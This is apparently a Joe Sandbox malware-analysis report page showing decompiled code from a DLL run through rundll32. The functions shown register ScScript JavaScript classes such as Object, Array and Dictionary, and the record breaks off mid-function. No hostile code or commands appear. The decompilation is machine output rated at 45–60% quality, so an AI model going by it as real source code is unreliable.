Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: JavaScript$Number
API String ID: 2248442671-2807950393
Opcode ID: 08e8da3c8bd8dc334d7dfc762e6f19ccd8bf2bcac6fbf9f2b3f1b62421a236c6
Instruction ID: ffd36d8393006ff80ed1e45c66a9cae182681ad4759057711e561c8674e6e085
Opcode Fuzzy Hash: 08e8da3c8bd8dc334d7dfc762e6f19ccd8bf2bcac6fbf9f2b3f1b62421a236c6
Instruction Fuzzy Hash: 3AF0BE75A18568ABE714CF48CC01FAAB7E9F709A20F00421BF41593780DBB97A008BD8

Uniqueness

Uniqueness Score: -1.00%

Function 10039A00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E10039A00() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(0x10064c58);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0xa412de5e
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x10070984;
				E10007F30(_t19, "Object");
				E100083E0(_t19, 0, 0x10070840);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x10039a03
0x10039a05
0x10039a10
0x10039a11
0x10039a13
0x10039a1a
0x10039a1e
0x10039a24
0x10039a26
0x10039a2e
0x10039a3a
0x10039a41
0x10039a47
0x10039a55
0x10039a5f
0x10039a6b

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,A412DE5E,00087144,00000000,00000000,10064C58,000000FF,?,10032E00), ref: 10039A2E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Object,JavaScript,A412DE5E,00087144,00000000,00000000,10064C58,000000FF), ref: 10039A47

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10070840,JavaScript,A412DE5E,00087144,00000000,00000000,10064C58,000000FF), ref: 10039A55

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

Object, xrefs: 10039A33
JavaScript, xrefs: 10039A29

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: JavaScript$Object
API String ID: 2248442671-2573228161
Opcode ID: e2ef1b7f44c8254d467ff2a9d0bf1aae92bf64cf2667ced3522f0f331f20dad9
Instruction ID: 8fced10c71c87af60e4afb58a308c41e94f9a1d7b40f2c04715c742aba583a18
Opcode Fuzzy Hash: e2ef1b7f44c8254d467ff2a9d0bf1aae92bf64cf2667ced3522f0f331f20dad9
Instruction Fuzzy Hash: 3AF0B475A145A8EBD714CF48CC01FAEB7A9F705A20F00421BF51593780DBB9290087D8

Uniqueness

Uniqueness Score: -1.00%

Function 1002AAC0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E1002AAC0() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(0x10062f2c);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0xa412de5e
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x1006ee7c;
				E10007F30(_t19, "Array");
				E100083E0(_t19, 0, 0x1006ed20);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x1002aac3
0x1002aac5
0x1002aad0
0x1002aad1
0x1002aad3
0x1002aada
0x1002aade
0x1002aae4
0x1002aae6
0x1002aaee
0x1002aafa
0x1002ab01
0x1002ab07
0x1002ab15
0x1002ab1f
0x1002ab2b

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,A412DE5E,00087144,00000000,00000000,10062F2C,000000FF,?,10032E2B), ref: 1002AAEE
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Array,JavaScript,A412DE5E,00087144,00000000,00000000,10062F2C,000000FF), ref: 1002AB07

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,1006ED20,JavaScript,A412DE5E,00087144,00000000,00000000,10062F2C,000000FF), ref: 1002AB15

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

JavaScript, xrefs: 1002AAE9
Array, xrefs: 1002AAF3

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: Array$JavaScript
API String ID: 2248442671-3122956903
Opcode ID: 4ecf3ca8bd12fd9225376f2b16449c428bd167057760eca4c79dadbd98303851
Instruction ID: 71bf1d067667f8c1f55e5f73ff7a28fe09c6f7e266da4d6eaadb38a7e38ba277
Opcode Fuzzy Hash: 4ecf3ca8bd12fd9225376f2b16449c428bd167057760eca4c79dadbd98303851
Instruction Fuzzy Hash: 82F0B475A14668ABD714CF48CC01FAEB7A9F709B50F00022BF51597780DBB52A0087D4

Uniqueness

Uniqueness Score: -1.00%

Function 100362D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E100362D0() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(0x1006459f);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0xa412de5e
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x10070074;
				E10007F30(_t19, "global");
				E100083E0(_t19, 0, 0x10093388);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x100362d3
0x100362d5
0x100362e0
0x100362e1
0x100362e3
0x100362ea
0x100362ee
0x100362f4
0x100362f6
0x100362fe
0x1003630a
0x10036311
0x10036317
0x10036325
0x1003632f
0x1003633b

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,A412DE5E,00087144,00000000,00000000,1006459F,000000FF,?,10032ECB), ref: 100362FE
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(global,JavaScript,A412DE5E,00087144,00000000,00000000,1006459F,000000FF), ref: 10036317

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10093388,JavaScript,A412DE5E,00087144,00000000,00000000,1006459F,000000FF), ref: 10036325

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

global, xrefs: 10036303
JavaScript, xrefs: 100362F9

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: JavaScript$global
API String ID: 2248442671-3731127768
Opcode ID: a2c314657b38e530787e6c228e912fac956c1427af5dfc65e7f48ff8a546a5fb
Instruction ID: bbdc076a69e4ab450a476dcb0d70743db024bc287b842ca0004e76bee08921fd
Opcode Fuzzy Hash: a2c314657b38e530787e6c228e912fac956c1427af5dfc65e7f48ff8a546a5fb
Instruction Fuzzy Hash: 30F0BE76A586A8ABD714CF48CC01FAAB7A9F708A20F00431FF51997380DFB92A0087D4

Uniqueness

Uniqueness Score: -1.00%

Function 10034AF0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E10034AF0() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(0x100641a8);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0xa412de5e
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x1006fe78;
				E10007F30(_t19, "Function");
				E100083E0(_t19, 0, 0x1006fd98);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x10034af3
0x10034af5
0x10034b00
0x10034b01
0x10034b03
0x10034b0a
0x10034b0e
0x10034b14
0x10034b16
0x10034b1e
0x10034b2a
0x10034b31
0x10034b37
0x10034b45
0x10034b4f
0x10034b5b

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,A412DE5E,00087144,00000000,00000000,100641A8,000000FF,?,10032EA3), ref: 10034B1E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Function,JavaScript,A412DE5E,00087144,00000000,00000000,100641A8,000000FF), ref: 10034B37

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,1006FD98,JavaScript,A412DE5E,00087144,00000000,00000000,100641A8,000000FF), ref: 10034B45

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

Function, xrefs: 10034B23
JavaScript, xrefs: 10034B19

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: Function$JavaScript
API String ID: 2248442671-1519988991
Opcode ID: 3769d8a068b1eb652a464c2a5c28ed3d725597d101e250a9baaab4fbfd739fb2
Instruction ID: a27d5b3e6f0c85d89566792b2c72c6f02d294962a60a0bd356f66c3d8fd4f9e2
Opcode Fuzzy Hash: 3769d8a068b1eb652a464c2a5c28ed3d725597d101e250a9baaab4fbfd739fb2
Instruction Fuzzy Hash: ABF0E971A58568ABD714CF48CC01FAEB7E9F709A50F00021FF41597780DBB53A0087D4

Uniqueness

Uniqueness Score: -1.00%

Function 1002CB00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E1002CB00() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(0x10063208);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0xa412de5e
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x1006ef38;
				E10007F30(_t19, "Boolean");
				E100083E0(_t19, 0, 0x1006eed0);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x1002cb03
0x1002cb05
0x1002cb10
0x1002cb11
0x1002cb13
0x1002cb1a
0x1002cb1e
0x1002cb24
0x1002cb26
0x1002cb2e
0x1002cb3a
0x1002cb41
0x1002cb47
0x1002cb55
0x1002cb5f
0x1002cb6b

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,A412DE5E,00087144,00000000,00000000,10063208,000000FF,?,10032F43), ref: 1002CB2E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Boolean,JavaScript,A412DE5E,00087144,00000000,00000000,10063208,000000FF), ref: 1002CB47

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,1006EED0,JavaScript,A412DE5E,00087144,00000000,00000000,10063208,000000FF), ref: 1002CB55

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

Boolean, xrefs: 1002CB33
JavaScript, xrefs: 1002CB29

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: Boolean$JavaScript
API String ID: 2248442671-3739871604
Opcode ID: e8eba6c9236db987eda25f020caf5c0df0d8ad5f3aa7a57ba3e91ec73096eb95
Instruction ID: c9ddf89cc87d110d2cfe434d316f5bcca14d5ff6674d9ac00e78d4de79709816
Opcode Fuzzy Hash: e8eba6c9236db987eda25f020caf5c0df0d8ad5f3aa7a57ba3e91ec73096eb95
Instruction Fuzzy Hash: 49F0B471A146A8BBD714CF88CC01FAEB7A9FB05B10F00062BF41593780DBB9290087D4

Uniqueness

Uniqueness Score: -1.00%

Function 1003FD70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E1003FD70() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(0x10065a18);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0xa412de5e
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x10070ec8;
				E10007F30(_t19, "ReflectionInfo");
				E100083E0(_t19, 0, 0x10070d98);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x1003fd73
0x1003fd75
0x1003fd80
0x1003fd81
0x1003fd83
0x1003fd8a
0x1003fd8e
0x1003fd94
0x1003fd96
0x1003fd9e
0x1003fdaa
0x1003fdb1
0x1003fdb7
0x1003fdc5
0x1003fdcf
0x1003fddb

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,A412DE5E,00087144,00000000,00000000,10065A18,000000FF,?,10032FBB), ref: 1003FD9E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(ReflectionInfo,JavaScript,A412DE5E,00087144,00000000,00000000,10065A18,000000FF), ref: 1003FDB7

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10070D98,JavaScript,A412DE5E,00087144,00000000,00000000,10065A18,000000FF), ref: 1003FDC5

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

ReflectionInfo, xrefs: 1003FDA3
JavaScript, xrefs: 1003FD99

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: JavaScript$ReflectionInfo
API String ID: 2248442671-2328064728
Opcode ID: 0a076702f9e8c26293f7ed62ac421f2247f322c8eabe570a3a4d955901c27b6e
Instruction ID: 986b9c755f193bdbb15b4d0a5a85b2aceb0ab89ad2e22e1a64bd2c4911743d8c
Opcode Fuzzy Hash: 0a076702f9e8c26293f7ed62ac421f2247f322c8eabe570a3a4d955901c27b6e
Instruction Fuzzy Hash: FBF0B475A14668ABD714CF88CC01FAAB7A8F705A10F00461BF51593780DBB93A0087D8

Uniqueness

Uniqueness Score: -1.00%

Function 1003EE50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E1003EE50() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(0x10065748);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0xa412de5e
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x10070d18;
				E10007F30(_t19, "Dictionary");
				E100083E0(_t19, 0, 0x10070c70);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x1003ee53
0x1003ee55
0x1003ee60
0x1003ee61
0x1003ee63
0x1003ee6a
0x1003ee6e
0x1003ee74
0x1003ee76
0x1003ee7e
0x1003ee8a
0x1003ee91
0x1003ee97
0x1003eea5
0x1003eeaf
0x1003eebb

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,A412DE5E,00087144,00000000,00000000,10065748,000000FF,?,1003300B), ref: 1003EE7E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Dictionary,JavaScript,A412DE5E,00087144,00000000,00000000,10065748,000000FF), ref: 1003EE97

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10070C70,JavaScript,A412DE5E,00087144,00000000,00000000,10065748,000000FF), ref: 1003EEA5

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

Dictionary, xrefs: 1003EE83
JavaScript, xrefs: 1003EE79

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: Dictionary$JavaScript
API String ID: 2248442671-457618636
Opcode ID: 24089c7518b94fdee4b17dbaaa63fdc16650fa23fff38eca1eac1cad2c95bcc5
Instruction ID: 3a1e1c17963359dfbf92fe91be90f3394b61449de70d21d992744893b146c742
Opcode Fuzzy Hash: 24089c7518b94fdee4b17dbaaa63fdc16650fa23fff38eca1eac1cad2c95bcc5
Instruction Fuzzy Hash: E4F0B475A18568EBD714CF48CC01FAAB7E8F705A50F00421BF51593780DBB92A0087D8

Uniqueness

Uniqueness Score: -1.00%

Function 1000EB40 Relevance: 7.9, APIs: 5, Instructions: 442
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E1000EB40(void* __ecx, signed int _a4, signed int _a8, signed char _a11) {
				signed int _v8;
				char _v12;
				char _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				signed int _v36;
				char _v60;
				signed int _t119;
				signed int _t122;
				signed int _t124;
				signed int _t125;
				signed int _t131;
				signed int _t132;
				signed int _t133;
				signed int _t135;
				signed int _t151;
				signed int _t152;
				signed int _t153;
				signed int _t154;
				signed int _t163;
				signed int _t166;
				signed int _t178;
				signed int _t179;
				signed int _t180;
				signed int _t183;
				signed int _t186;
				signed int _t188;
				signed int _t191;
				signed int _t197;
				signed int _t203;
				intOrPtr _t206;
				intOrPtr* _t207;
				intOrPtr _t239;
				intOrPtr _t259;
				signed int _t261;
				signed int _t262;
				signed int* _t265;
				intOrPtr _t285;
				void* _t287;
				signed int _t289;
				signed int _t291;
				signed int _t292;
				signed int _t293;
				signed int _t294;
				void* _t300;
				void* _t301;
				void* _t302;

				_t287 = __ecx;
				if( *((char*)(__ecx + 0x18)) != 0) {
					_t197 = _a4;
					_t265 = __ecx + 0x2a + (_t197 & 0x0000000f) * 4;
					_t119 =  *_t265;
					_t203 = 0;
					_v8 = 0;
					__eflags = _t119;
					if(_t119 == 0) {
						L5:
						_t289 =  *(_t287 + 0x14);
						__eflags = _t289;
						if(_t289 == 0) {
							L43:
							__eflags =  *((intOrPtr*)(_t287 + 0x1a)) - 0xffffffff;
							if( *((intOrPtr*)(_t287 + 0x1a)) == 0xffffffff) {
								__eflags = _t197 - 0x20000093;
								if(_t197 > 0x20000093) {
									__eflags = (_t197 & 0xe0000000) - 0x20000000;
									if((_t197 & 0xe0000000) == 0x20000000) {
										_t206 =  *0x1009415c; // 0x0
										_a11 = 0;
										E100049E0(_t206,  &_v12,  &_v12, _t197);
										_v24 = 7;
										_t122 =  *0x1006a4e0( &_v12, 0x10000);
										_t301 = _t300 + 8;
										_v20 = _t122;
										__eflags = _t122;
										if(_t122 == 0) {
											_t124 =  *0x1006a4dc( &_v12);
											_t207 =  *((intOrPtr*)(_t287 + 0x6a));
											_t302 = _t301 + 4;
											__eflags = _t124;
											if(_t124 == 0) {
												_t125 = E10009120(_t207);
												_v36 = _t125;
												__eflags = _t125;
												if(_t125 != 0) {
													_v20 = 0;
													_t291 = E1000CDE0(_t287, _t197,  &_v12,  &_v20);
													__eflags = _t291;
													if(_t291 == 0) {
														_t131 =  *((intOrPtr*)( *((intOrPtr*)( *_v36 + 0x20))))( *((intOrPtr*)(_t287 + 0x6a)),  &_v12);
														__eflags = _t131;
														if(_t131 != 0) {
															_t132 =  *0x1006a1d0(0x98);
															_t302 = _t302 + 4;
															__eflags = _t132;
															if(_t132 == 0) {
																_t133 = 0;
																__eflags = 0;
															} else {
																_t133 = E1000A350( *((intOrPtr*)(_t287 + 0x6a)), _t197);
															}
															_t291 = _t133;
															 *((char*)(_t133 + 0x96)) = 1;
															goto L69;
														}
													} else {
														__eflags = _v20 & 0x00000002;
														if((_v20 & 0x00000002) != 0) {
															_v24 = 0x20000007;
														}
														_a11 =  *0x1006a240() >> 0x00000005 & 0x00000001;
														goto L69;
													}
												}
											} else {
												_t293 =  *((intOrPtr*)( *((intOrPtr*)( *_t207 + 0xd0))))(0x2000008c);
												__eflags = _t293;
												if(_t293 == 0) {
													_a8 = 0;
												} else {
													_t73 = _t293 + 4; // 0x4
													_a8 = _t73;
												}
												 *0x1006a160();
												_v20 = _a8;
												 *0x1006a3d4();
